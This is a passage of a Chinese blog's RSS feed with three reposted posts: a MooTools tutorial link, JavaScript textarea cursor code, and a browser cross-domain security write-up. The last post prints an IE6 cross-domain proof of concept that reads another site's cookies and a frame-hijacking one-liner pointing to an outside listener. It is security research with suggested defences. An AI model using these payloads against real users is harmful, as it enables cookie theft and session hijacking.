		<description><![CDATA[今天发现一个 MooTools 教程，共 30 篇，每天一个，目前为止还没写完。
简单看了看，还挺详细的，有很多例子，还详细说明了好多不为人知的问题。
30-days-of-mootools-12-tutorials-day-1-intro-to-the-library
同时还发现了一个 MooTools 的论坛：
http://www.mooforum.net/
]]></description>
			<content:encoded><![CDATA[<p>今天发现一个 MooTools 教程，共 30 篇，每天一个，目前为止还没写完。</p>
<p>简单看了看，还挺详细的，有很多例子，还详细说明了好多不为人知的问题。</p>
<p><a title="MooTools Tutorials" href="http://www.consideropen.com/blog/2008/08/30-days-of-mootools-12-tutorials-day-1-intro-to-the-library/">30-days-of-mootools-12-tutorials-day-1-intro-to-the-library</a></p>
<p>同时还发现了一个 MooTools 的论坛：</p>
<p><a href="http://www.mooforum.net/">http://www.mooforum.net/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.leakon.com/archives/350/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Javascript 获取 textarea 光标 文字 位置 内容 IE Firefox</title>
		<link>http://www.leakon.com/archives/159?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=javascript-%25e8%258e%25b7%25e5%258f%2596-textarea-%25e5%2585%2589%25e6%25a0%2587-%25e6%2596%2587%25e5%25ad%2597-%25e4%25bd%258d%25e7%25bd%25ae-%25e5%2586%2585%25e5%25ae%25b9-ie-firefox</link>
		<comments>http://www.leakon.com/archives/159#comments</comments>
		<pubDate>Tue, 08 Jul 2008 14:34:48 +0000</pubDate>
		<dc:creator>leakon</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Web开发]]></category>
		<category><![CDATA[转载]]></category>
		<category><![CDATA[compareEndPoints]]></category>
		<category><![CDATA[createRange]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[IE]]></category>
		<category><![CDATA[moveToElementText]]></category>
		<category><![CDATA[selection]]></category>
		<category><![CDATA[textarea]]></category>

		<guid isPermaLink="false">http://www.leakon.com/?p=159</guid>
		<description><![CDATA[Javascript 获取 textarea 光标 文字 位置 内容 IE Firefox
最近帮朋友做一个获取文字内容，并处理选中文字的Javascript程序。
本来上网查查，用Firefox搞定了，包括Opera、Safari，不过到IE那里遇到很多问题！！！
还发现了IE的一个Bug！
就是
 var objRange  = document.selection.createRange();
 var strRange  = objRange.text;
 objRange.moveEnd(&#8220;character&#8221;,  [...]]]></description>
			<content:encoded><![CDATA[<p>Javascript 获取 textarea 光标 文字 位置 内容 IE Firefox</p>
<p>最近帮朋友做一个获取文字内容，并处理选中文字的Javascript程序。</p>
<p>本来上网查查，用Firefox搞定了，包括Opera、Safari，不过到IE那里遇到很多问题！！！</p>
<p>还发现了IE的一个Bug！</p>
<p>就是<br />
 var objRange  = document.selection.createRange();<br />
 var strRange  = objRange.text;<br />
 objRange.moveEnd(&#8220;character&#8221;, intLenOfHaystack);</p>
<p>之后，objRange.text会莫名其妙的多出一个空格，实际上，是当前文档，有几个textarea标签，他就会多出几个空格！</p>
<p>真是奇怪的Bug！</p>
<p>唉，碰到IE，搞前端开发的会很头疼！</p>
<p>反复搞了几天，不断尝试新方法，终于找到一个IE的解决方案，就是从下面转载的地方查到的。</p>
<p>发在这里，为了留作备份。</p>
<p>代码放到GoogleCode中了，我自己写的是select_range.html，其他2个文件是测试不同的代码用的。</p>
<p>最后我总结了一个GetStringPosition函数，我基本测试了一下，所有浏览器都可用。欢迎大家测试！</p>
<p><a href="http://leakon.googlecode.com/svn/trunk/leakon/javascript/select_range/">http://leakon.googlecode.com/svn/trunk/leakon/javascript/select_range/</a></p>
<p>后面就是引用别人的内容了，我是从</p>
<p><a href="http://hi.baidu.com/sihillver/blog/item/35e1c6333552b042ac4b5f6b.html">http://hi.baidu.com/sihillver/blog/item/35e1c6333552b042ac4b5f6b.html</a></p>
<p>这里找到的，这个blog也是引用别人的内容，我就不去挨个感谢啦。</p>
<p>感谢所有为互联网创造有价值内容的人！谢谢！</p>
<p>   在网上用baidu找了很久，找到的都是IE的方法，Firefox都不能用。 而且很多要用到&lt;textarea&gt;.focus()方法，用起来很不方便。<br />
后来转用Google，搜了下&#8221;textarea cursor&#8221;，第一个就有好方法。我根据最后一个家伙的comments，写了一个sample，应该还是挺好用的。<br />
原文地址：http://weblogs.asp.net/skillet/archive/2005/03/24/395838.aspx</p>
<p>&lt;html&gt;<br />
&lt;head&gt;<br />
&lt;title&gt;TEST&lt;/title&gt;<br />
&lt;style&gt;<br />
body,td{<br />
    font-family: verdana, arial, helvetica, sans-serif;<br />
    font-size: 12px;<br />
}<br />
&lt;/style&gt;<br />
&lt;script type=&#8221;text/javascript&#8221;&gt;<br />
    var start=0;<br />
    var end=0;<br />
    function add(){       <br />
        var textBox = document.getElementById(&#8220;ta&#8221;);<br />
        var pre = textBox.value.substr(0, start);<br />
        var post = textBox.value.substr(end);<br />
        textBox.value = pre + document.getElementById(&#8220;inputtext&#8221;).value + post;<br />
    }<br />
    function savePos(textBox){<br />
        //如果是Firefox(1.5)的话，方法很简单<br />
        if(typeof(textBox.selectionStart) == &#8220;number&#8221;){<br />
            start = textBox.selectionStart;<br />
            end = textBox.selectionEnd;<br />
        }<br />
        //下面是IE(6.0)的方法，麻烦得很，还要计算上&#8217;\n&#8217;<br />
        else if(document.selection){<br />
            var range = document.selection.createRange();<br />
            if(range.parentElement().id == textBox.id){<br />
                // create a selection of the whole textarea<br />
                var range_all = document.body.createTextRange();<br />
                range_all.moveToElementText(textBox);<br />
                //两个range，一个是已经选择的text(range)，一个是整个textarea(range_all)<br />
                //range_all.compareEndPoints()比较两个端点，如果range_all比range更往左(further to the left)，则                //返回小于0的值，则range_all往右移一点，直到两个range的start相同。<br />
                // calculate selection start point by moving beginning of range_all to beginning of range<br />
                for (start=0; range_all.compareEndPoints(&#8220;StartToStart&#8221;, range) &lt; 0; start++)<br />
                    range_all.moveStart(&#8216;character&#8217;, 1);<br />
                // get number of line breaks from textarea start to selection start and add them to start<br />
                // 计算一下\n<br />
                for (var i = 0; i &lt;= start; i ++){<br />
                    if (textBox.value.charAt(i) == &#8216;\n&#8217;)<br />
                        start++;<br />
                }<br />
                // create a selection of the whole textarea<br />
                 var range_all = document.body.createTextRange();<br />
                 range_all.moveToElementText(textBox);<br />
                 // calculate selection end point by moving beginning of range_all to end of range<br />
                 for (end = 0; range_all.compareEndPoints(&#8216;StartToEnd&#8217;, range) &lt; 0; end ++)<br />
                     range_all.moveStart(&#8216;character&#8217;, 1);<br />
                     // get number of line breaks from textarea start to selection end and add them to end<br />
                     for (var i = 0; i &lt;= end; i ++){<br />
                         if (textBox.value.charAt(i) == &#8216;\n&#8217;)<br />
                             end ++;<br />
                     }<br />
                }<br />
            }<br />
        document.getElementById(&#8220;start&#8221;).value = start;<br />
        document.getElementById(&#8220;end&#8221;).value = end;<br />
    }<br />
&lt;/script&gt;<br />
&lt;/head&gt;<br />
&lt;body&gt;<br />
&lt;form action=&#8221;a.cgi&#8221;&gt;<br />
&lt;table border=&#8221;1&#8243; cellspacing=&#8221;0&#8243; cellpadding=&#8221;0&#8243;&gt;<br />
    &lt;tr&gt;<br />
        &lt;td&gt;start: &lt;input type=&#8221;text&#8221; id=&#8221;start&#8221; size=&#8221;3&#8243;/&gt;&lt;/td&gt;<br />
        &lt;td&gt;end: &lt;input type=&#8221;text&#8221; id=&#8221;end&#8221; size=&#8221;3&#8243;/&gt;&lt;/td&gt;<br />
    &lt;/tr&gt;<br />
    &lt;tr&gt;<br />
        &lt;td colspan=&#8221;2&#8243;&gt;<br />
            &lt;textarea id=&#8221;ta&#8221; onKeydown=&#8221;savePos(this)&#8221;<br />
                            onKeyup=&#8221;savePos(this)&#8221;<br />
                            onmousedown=&#8221;savePos(this)&#8221;<br />
                            onmouseup=&#8221;savePos(this)&#8221;<br />
                            onfocus=&#8221;savePos(this)&#8221;<br />
                            rows=&#8221;14&#8243; cols=&#8221;50&#8243;&gt;&lt;/textarea&gt;<br />
        &lt;/td&gt;<br />
    &lt;/tr&gt;<br />
    &lt;tr&gt;<br />
        &lt;td&gt;&lt;input type=&#8221;text&#8221; id=&#8221;inputtext&#8221; /&gt;&lt;/td&gt;<br />
        &lt;td&gt;&lt;input type=&#8221;button&#8221; onClick=&#8221;add()&#8221; value=&#8221;Add Text&#8221;/&gt;&lt;/td&gt;<br />
    &lt;/tr&gt;<br />
&lt;/table&gt;<br />
&lt;/form&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;</p>
<p>*************************************************************</p>
<p>&lt;html&gt;<br />
&lt;head&gt;<br />
&lt;meta http-equiv=&#8221;Content-Type&#8221; content=&#8221;text/html; charset=gb2312&#8243;&gt;<br />
&lt;meta name=&#8221;GENERATOR&#8221; content=&#8221;Microsoft FrontPage 4.0&#8243;&gt;<br />
&lt;meta name=&#8221;ProgId&#8221; content=&#8221;FrontPage.Editor.Document&#8221;&gt;<br />
&lt;title&gt;光标位置&lt;/title&gt;<br />
&lt;style&gt;<br />
INPUT{border: 1 solid #000000}<br />
BODY,TABLE{font-size: 10pt}<br />
&lt;/style&gt;<br />
&lt;/head&gt;<br />
&lt;body&gt;<br />
&lt;table border=&#8221;0&#8243; width=&#8221;700&#8243; cellspacing=&#8221;0&#8243; cellpadding=&#8221;0&#8243;&gt;<br />
&lt;tr&gt;<br />
&lt;td width=&#8221;479&#8243; rowspan=&#8221;7&#8243;&gt;<br />
点击 TextArea 实现光标定位<br />
&lt;p&gt;<br />
&lt;textarea rows=&#8221;7&#8243; cols=&#8221;49&#8243; id=&#8221;box&#8221; onclick=tellPoint()&gt;我怕来不及我要抱着你，直到感觉你的绉纹有了岁月的痕迹，直到视线变得模糊直到不能呼吸<br />
为了你我愿意<br />
动也不能动也要看着你，直到感觉你的发线有了白雪的痕迹，直到肯定你是真的直到失去力气让我们形影不离<br />
如果全世界我也可以放弃，至少还有你值得我去珍惜而你在这里就是生命的奇迹<br />
也许全世界我也可以忘记，就是不愿意失去你的消息你掌心的痣我总记得在哪里<br />
我们好不容易我们身不由已，我怕时间太快不够将你看仔细，我怕时间太慢日夜担心失去你恨不得一夜之间白头永不分离<br />
&lt;/textarea&gt;</p>
<p>&lt;script&gt;</p>
<p>function movePoint()<br />
{<br />
var pn = parseInt(pnum.value);</p>
<p>if(isNaN(pn))<br />
return;</p>
<p>var rng = box.createTextRange();</p>
<p>rng.moveStart(&#8220;character&#8221;,pn);</p>
<p>rng.collapse(true);</p>
<p>rng.select();</p>
<p>returnCase(rng)</p>
<p>}</p>
<p>function tellPoint()<br />
{<br />
var rng = event.srcElement.createTextRange();</p>
<p>rng.moveToPoint(event.x,event.y);<br />
rng.moveStart(&#8220;character&#8221;,-event.srcElement.value.length)</p>
<p>pnum.value = rng.text.length</p>
<p>returnCase(rng)<br />
}</p>
<p>function returnCase(rng)<br />
{<br />
bh.innerText = rng.boundingHeight;<br />
bl.innerText = rng.boundingLeft;<br />
bt.innerText = rng.boundingTop;<br />
bw.innerText = rng.boundingWidth;<br />
ot.innerText = rng.offsetTop;<br />
ol.innerText = rng.offsetLeft;<br />
t.innerText = rng.text;<br />
}</p>
<p>function selectText(sp,ep)<br />
{<br />
sp = parseInt(sp)<br />
ep = parseInt(ep)</p>
<p>if(isNaN(sp)||isNaN(ep))<br />
return;</p>
<p>var rng = box.createTextRange();</p>
<p>rng.moveEnd(&#8220;character&#8221;,-box.value.length)<br />
rng.moveStart(&#8220;character&#8221;,-box.value.length)</p>
<p>rng.collapse(true);</p>
<p>rng.moveEnd(&#8220;character&#8221;,ep)<br />
rng.moveStart(&#8220;character&#8221;,sp)</p>
<p>rng.select();</p>
<p>returnCase(rng);<br />
}</p>
<p>var rg = box.createTextRange();</p>
<p>function findText(tw)<br />
{<br />
if(tw==&#8221;")<br />
return;</p>
<p>var sw = 0;</p>
<p>if(document.selection)<br />
{<br />
sw = document.selection.createRange().text.length;<br />
}</p>
<p>rg.moveEnd(&#8220;character&#8221;,box.value.length);</p>
<p>rg.moveStart(&#8220;character&#8221;,sw);</p>
<p>if(rg.findText(tw))<br />
{<br />
rg.select();</p>
<p>returnCase(rg);<br />
}</p>
<p>if(rg.text!=tw)<br />
{<br />
alert(&#8220;已经搜索完了&#8221;)<br />
rg = box.createTextRange()<br />
}</p>
<p>}</p>
<p>&lt;/script&gt;<br />
&lt;/p&gt;<br />
&lt;p&gt;&lt;/p&gt;<br />
光标位置：&lt;input type=&#8221;text&#8221; value=&#8221;0&#8243; id=&#8221;pnum&#8221; size=&#8221;8&#8243;&gt; &lt;input type=&#8221;button&#8221; onclick=&#8221;movePoint()&#8221; value=&#8221;移动光标到指定位置&#8221;&gt;<br />
&lt;p&gt;&lt;/p&gt;<br />
选择指定范围：&lt;input type=&#8221;text&#8221; size=&#8221;9&#8243; id=&#8221;sbox&#8221;&gt; &#8212; &lt;input type=&#8221;text&#8221; size=&#8221;9&#8243; id=&#8221;ebox&#8221;&gt; &lt;input type=&#8221;button&#8221; onclick=&#8221;selectText(sbox.value,ebox.value)&#8221; value=&#8221;选择&#8221;&gt;<br />
&lt;p&gt;&lt;/p&gt;<br />
选择查找字符 ：&lt;input type=&#8221;text&#8221; value=&#8221;" id=&#8221;cbox&#8221; size=&#8221;8&#8243;&gt; &lt;input type=&#8221;button&#8221; onclick=&#8221;findText(cbox.value)&#8221; value=&#8221;查找下一个并选择&#8221;&gt;</p>
<p>&lt;/td&gt;<br />
&lt;td width=&#8221;217&#8243;&gt;boundingHeight: &lt;span id=&#8221;bh&#8221;&gt;&lt;/span&gt;&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;tr&gt;<br />
&lt;td width=&#8221;217&#8243;&gt;boundingWidth: &lt;span id=&#8221;bw&#8221;&gt;&lt;/span&gt;&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;tr&gt;<br />
&lt;td width=&#8221;217&#8243;&gt;boundingTop: &lt;span id=&#8221;bt&#8221;&gt;&lt;/span&gt;&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;tr&gt;<br />
&lt;td width=&#8221;217&#8243;&gt;boundingLeft: &lt;span id=&#8221;bl&#8221;&gt;&lt;/span&gt;&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;tr&gt;<br />
&lt;td width=&#8221;217&#8243;&gt;offsetLeft: &lt;span id=&#8221;ol&#8221;&gt;&lt;/span&gt; &lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;tr&gt;<br />
&lt;td width=&#8221;217&#8243;&gt;offsetTop: &lt;span id=&#8221;ot&#8221;&gt;&lt;/span&gt; &lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;tr&gt;<br />
&lt;td width=&#8221;217&#8243;&gt;text: &lt;span style=&#8221;position: absolute; z-index: 10&#8243; id=&#8221;t&#8221;&gt;&lt;/span&gt; &lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;/table&gt;<br />
&lt;/body&gt;</p>
<p>&lt;/html&gt;</p>
<p> </p>
<p>*************************************************************<br />
&lt;!DOCTYPE HTML PUBLIC &#8220;-//W3C//DTD HTML 4.0 Transitional//EN&#8221;&gt;<br />
&lt;HTML&gt;<br />
&lt;HEAD&gt;<br />
&lt;TITLE&gt; 兼容firefox下选择textarea文字的js代码_脚本之家_www.jb51.net &lt;/TITLE&gt;<br />
&lt;META NAME=&#8221;Generator&#8221; CONTENT=&#8221;EditPlus&#8221;&gt;<br />
&lt;META NAME=&#8221;Author&#8221; CONTENT=&#8221;"&gt;<br />
&lt;META NAME=&#8221;Keywords&#8221; CONTENT=&#8221;"&gt;<br />
&lt;META NAME=&#8221;Description&#8221; CONTENT=&#8221;"&gt;<br />
&lt;script type=&#8221;text/javascript&#8221;&gt;<br />
    function getSelectedText(){<br />
        var selectedText;<br />
        var textField=document.getElementById(&#8216;inputTextarea&#8217;);<br />
        if(window.getSelection) selectedText=getTextFieldSelection(textField);//getTextFieldSelection(document.getElementById(&#8220;inputTextArea&#8221;));<br />
        else selectedText=document.selection.createRange().text;<br />
            alert(selectedText);<br />
    }</p>
<p>    function getTextFieldSelection(e){<br />
        //var oEvent=arguments.callee.caller.arguments[0];<br />
        if(e.selectionStart != undefined &amp;&amp; e.selectionEnd != undefined)<br />
            return e.value.substring(e.selectionStart,e.selectionEnd);<br />
        else return &#8220;&#8221;;<br />
    }<br />
&lt;/script&gt;<br />
&lt;style type=&#8221;text/css&#8221;&gt;<br />
    ul{<br />
        list-style:none;<br />
    }<br />
&lt;/style&gt;<br />
&lt;/HEAD&gt;</p>
<p>&lt;BODY&gt;<br />
    &lt;ul&gt;<br />
        &lt;li&gt;兼容firefox下选取textarea文本的方法&lt;/li&gt;<br />
        &lt;li&gt;&lt;textarea id=&#8221;inputTextarea&#8221; rows=&#8221;6&#8243; cols=&#8221;50&#8243;/&gt;千万别相信我说的事情，我从来就没有这么勇敢过，这么壮烈过。我不断发誓要老老实实讲故事，可是说实话的愿望有多强烈，受到的各种干扰就有多大。我悲哀地发现根本就无法还原真相。记忆总是被我的情感改头换面，并随之捉弄我，背叛我。把我搞得头昏脑胀，真假难辩。&lt;/textarea&gt;&lt;/li&gt;<br />
        &lt;li&gt;&lt;button onclick=&#8221;getSelectedText();&#8221;&gt;获取选中的文字段&lt;/button&gt;&lt;/li&gt;<br />
    &lt;/ul&gt;<br />
&lt;/BODY&gt;<br />
&lt;/HTML&gt;<br />
本文来自: 脚本之家(<a href="http://www.jb51.net/">www.jb51.net</a>) 详细出处参考：<a href="http://www.jb51.net/article/14735.htm">http://www.jb51.net/article/14735.htm</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.leakon.com/archives/159/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>浏览器 跨域 安全</title>
		<link>http://www.leakon.com/archives/157?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=%25e6%25b5%258f%25e8%25a7%2588%25e5%2599%25a8-%25e8%25b7%25a8%25e5%259f%259f-%25e5%25ae%2589%25e5%2585%25a8</link>
		<comments>http://www.leakon.com/archives/157#comments</comments>
		<pubDate>Sat, 28 Jun 2008 06:43:04 +0000</pubDate>
		<dc:creator>leakon</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Web开发]]></category>
		<category><![CDATA[转载]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[IE]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[浏览器]]></category>
		<category><![CDATA[跨域]]></category>

		<guid isPermaLink="false">http://www.leakon.com/?p=157</guid>
		<description><![CDATA[    Manuel Caballero大牛在这次的BLUEHAT大会上讲了一个叫A Resident in My Domain
的议题，字面上的意思就是驻留在自己的域，随后开始有牛人在自己BLOG上写了一些相关的
内容，这段时间一直和HI群里的朋友在讨论这个问题，大家都简称为鬼页，这个鬼页非常神奇，
可以跟随你浏览的每个页面。经过鬼页的启发，我也对浏览器的跨域安全问题进行了测试。
1.来自伪协议的呼唤
    JAVASCRIPT里大家都频繁使用window对象，window对象代表的就是浏览器的窗口，我们
就来测试下window对象的open方法，尝试让新开的窗口执行伪协议。
     [...]]]></description>
			<content:encoded><![CDATA[<div style="padding-right: 10px; display: block; padding-left: 10px; padding-bottom: 0px; padding-top: 0px;"><span style="font-size: 14px;">    Manuel Caballero大牛在这次的BLUEHAT大会上讲了一个叫A Resident in My Domain<br />
的议题，字面上的意思就是驻留在自己的域，随后开始有牛人在自己BLOG上写了一些相关的<br />
内容，这段时间一直和HI群里的朋友在讨论这个问题，大家都简称为鬼页，这个鬼页非常神奇，<br />
可以跟随你浏览的每个页面。经过鬼页的启发，我也对浏览器的跨域安全问题进行了测试。</p>
<p>1.来自伪协议的呼唤</p>
<p>    JAVASCRIPT里大家都频繁使用window对象，window对象代表的就是浏览器的窗口，我们<br />
就来测试下window对象的open方法，尝试让新开的窗口执行伪协议。</p>
<p>    在本机搭建一个WEB服务器，开始做下实验：</p>
<p>    用各个浏览器浏览 http://127.0.0.1/test.htm ，下面是test.htm的脚本内容：</p>
<p>    &lt;script&gt;  <br />
    x=window.open(&#8216;about:blank&#8217;);<br />
    x.location=&#8221;<em>javascript</em>:alert(document.domain)&#8221;<br />
    &lt;/script&gt;</p>
<p>    结果是：</p>
<p>    IE6：执行了伪协议，认为弹出窗口的域是127.0.0.1。<br />
    IE7：执行了伪协议，认为弹出窗口的域是127.0.0.1。<br />
    Firefox：执行了伪协议,认为还没有域为NULL。</p>
<p>    Firefox这里对于这个接口可能也有个BUG，对于IP地址的弹窗Firefox没有辨认出域，但<br />
是在实际绑定域名的情况下还是辨认出了域。</p>
<p>    为了下面的部分方便理解，我把这里弹窗的关系给简称下，原来的窗口叫父页，弹出窗口<br />
叫子页，实验过后我们证明了:</p>
<p>    父页和子页都在同一个域里，父页可以重定向子页的URL地址，甚至执行伪协议。</p>
<p>2.父页和子页的关系</p>
<p>    如果父页让子页访问其他域后，父页和子页是否就脱离关系了呢？</p>
<p>    继续测试，用各个浏览器浏览 http://127.0.0.1/test2.htm ，下面是test2.htm的脚本<br />
内容：</p>
<p>    &lt;script&gt;  <br />
    x=window.open(&#8216;about:blank&#8217;);<br />
    x.location=&#8221;http://www.163.com&#8221; //访问163网站<br />
    setTimeout(function(){<br />
        x.location=&#8221;http://127.0.0.1&#8243;;<br />
    },5000)  //5秒后重定向到127.0.0.1<br />
    &lt;/script&gt;</p>
<p>    这次IE6、IE7、Firefox都达成了一致，实验的结果是子页访问了163网站，5秒然后又跳<br />
回了127.0.0.1。</p>
<p>    所以就算是子页在访问了其他域后，还是会受父页的控制。</p>
<p>3.域与域之间的牵绊</p>
<p>    如果父页让子页访问某个域后，再执行伪协议会有什么效果？</p>
<p>    用各个浏览器浏览 http://127.0.0.1/test3.htm，下面是test3.htm的脚本内容：</p>
<p>    &lt;script&gt;  <br />
    x=window.open(&#8216;about:blank&#8217;);<br />
    x.location=&#8221;http://www.163.com&#8221;<br />
    setTimeout(function(){<br />
        x.location=&#8221;<em>javascript</em>:alert(document.cookie)&#8221;;<br />
    },5000)<br />
    &lt;/script&gt;</p>
<p>    结果是：</p>
<p>    IE6：没有反应。<br />
    IE7：报错，拒绝访问。<br />
    Firefox：报错，alert没有定义。</p>
<p>    这些信息明显的说明，如果子页和父页不在同一个域里，浏览器是不允许父页控制子页<br />
执行伪协议脚本的。</p>
<p>    为了进一步验证，我们让子页打开同一个域里的页面测试：</p>
<p>    用各个浏览器浏览 http://127.0.0.1/test4.htm，下面是test4.htm的脚本内容：</p>
<p>    &lt;script&gt;<br />
    document.cookie=&#8217;xss:true&#8217;  //给本域设置一个COOKIE为xss:true<br />
    x=window.open(&#8216;about:blank&#8217;);<br />
    x.location=&#8221;http://127.0.0.1&#8243;<br />
    setTimeout(function(){<br />
        x.location=&#8221;<em>javascript</em>:alert(document.cookie)&#8221;;<br />
    },5000)<br />
    &lt;/script&gt;</p>
<p>    结果IE6、IE7、Firefox都顺利的弹出了COOKIE值，说明如果子页和父页在同一个域里，<br />
浏览器是允许父页控制子页执行伪协议脚本的。</p>
<p>4.安全上的差异</p>
<p>    父页和子页这种微妙的关系，到这里就开始引发安全问题了，PDP等大牛在分析鬼页的时<br />
候给出了EXP:</p>
<p>    <em>javascript</em> <img src='http://www.leakon.com/wp-includes/images/smilies/icon_mad.gif' alt=':x' class='wp-smiley' /> =open(&#8216;http://hackademix.net/&#8217;);setInterval(function(){try{x.frames[0].location={toString:function(){return &#8216;http://www.sirdarckcat.net/caballero-listener.html&#8217;;}}}catch(e){}},5000);void(1);</p>
<p>    EXP按上面三部分的概念解释是：</p>
<p>    父页是A域，父页指定子页访问B域内一个带框架的页面，父页就能够控制B域页面内框架<br />
的URL地址，这个就是典型的跨域操作了。</p>
<p>    鬼页能够跨域操作框架的关键是window.frames[0]方法没有受到域的限制，第二个是让<br />
location指定的地址看起来像个对象而不是参数。</p>
<p>    我们按照鬼页的思路，继续在第3部分的基础上测试下去,将location指定的地址使用<br />
new String()对象处理。</p>
<p>    用各个浏览器浏览 http://127.0.0.1/test5.htm，下面是test5.htm的脚本内容：</p>
<p>    &lt;script&gt;  <br />
    x=window.open(&#8216;about:blank&#8217;);<br />
    x.location=&#8221;http://www.163.com&#8221;；<br />
    setTimeout(function(){<br />
        x.location=new String(&#8220;<em>javascript</em>:alert(document.cookie)&#8221;)<br />
    },5000)<br />
    &lt;/script&gt;</p>
<p>    IE6：弹出COOKIE。<br />
    IE7：报错，拒绝访问。<br />
    Firefox：报错，alert没有定义。</p>
<p>    结果是IE6奇迹般的弹出了COOKIE，我们做到了跨域执行脚本。</p>
<p>5.灾难性的后果</p>
<p>    到这里我们发现了一个IE6的0DAY，一定程度上这个跨域安全问题是灾难性的，如下面的<br />
EXP：</p>
<p>    &lt;a href=&#8221;"&gt;IE6 Cross Domain Scripting&lt;/a&gt;<br />
    &lt;script&gt;<br />
    function win(){<br />
        x=window.open(&#8216;http://www.phpwind.net&#8217;);<br />
        setTimeout(function(){<br />
            x.location=new String(&#8220;<em>javascript</em>:alert(document.cookie)&#8221;)<br />
        },3000)<br />
    }<br />
    window.onload=function(){<br />
        for (i=0;i&lt;document.links.length;i++) {<br />
            document.links[i].href=&#8221;<em>javascript</em>:win()&#8221;<br />
        }<br />
    }<br />
    &lt;/script&gt;</p>
<p>    点击链接后，马上得到了PHPWIND论坛的COOKIE，这就意味着黑客通过类似的攻击可以得<br />
到你访问过的任意网站的COOKIE，然后劫持你的会话。</p>
<p>    这样的漏洞相当于一个没有域限制的XSS漏洞，几乎是无法防御的，网站只能进一步的加<br />
强客户端的会话安全，如使用SSL加密连接、设置安全COOKIE加上HTTPONLY参数、给敏感的<br />
请求操作加上水印等。</p>
<p>6.总结</p>
<p>    这个跨域安全问题的本质是浏览器在处理window对象的操作有所疏漏，没有考虑清楚不<br />
同域有继承关系的window对象操作后的变化，只是对window对象的一些方法的参数做了类似<br />
数据类型的限制，导致最后绕过限制跨域执行了脚本。</p>
<p>    从这个漏洞我们也可以看出IE7的一些新的安全特性，通过继承关系的window对象操作<br />
来跨域执行脚本伪协议最后是判断了域的，IE7已经开始防范类似的攻击。</p>
<p>    但是这里并没有在本质上解决跨域安全问题，IE7只防范了跨域执行脚本，对于其他跨域<br />
的操作仍然是放行的，所以鬼页在IE7下可以跨域操作框架URL，而Firefox却没有存在相同的<br />
问题，说明不同浏览器在安全的考虑上也是存在很多差异的。</p>
<p>    针对IE我又测试了其他对象方法，发现很多都被限制住了，但不排除还有同样的问题存<br />
在。按照类似的思路，大家可以继续尝试挖掘浏览器的一些跨域漏洞。</p>
<p>    最后感谢HI群里共同讨论的朋友。</p>
<p>7.参考</p>
<p>[1] Browser&#8217;s Ghost Busters: http://sirdarckcat.blogspot.com/2008/05/browsers-ghost-busters.html<br />
[2] Ghost Busters: <a href="http://www.gnucitizen.org/blog/ghost-busters/">http://www.gnucitizen.org/blog/ghost-busters/</a><br />
</span></div>
<div style="padding-right: 10px; display: block; padding-left: 10px; padding-bottom: 0px; padding-top: 0px;"><span style="font-size: 14px;">转自：<a href="http://www.80sec.com/pstzine/0x02/txt/PSTZine_0x02_0x04.txt">http://www.80sec.com/pstzine/0&#215;02/txt/PSTZine_0x02_0x04.txt</a></span></div>
]]></content:encoded>
			<wfw:commentRss>http://www.leakon.com/archives/157/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

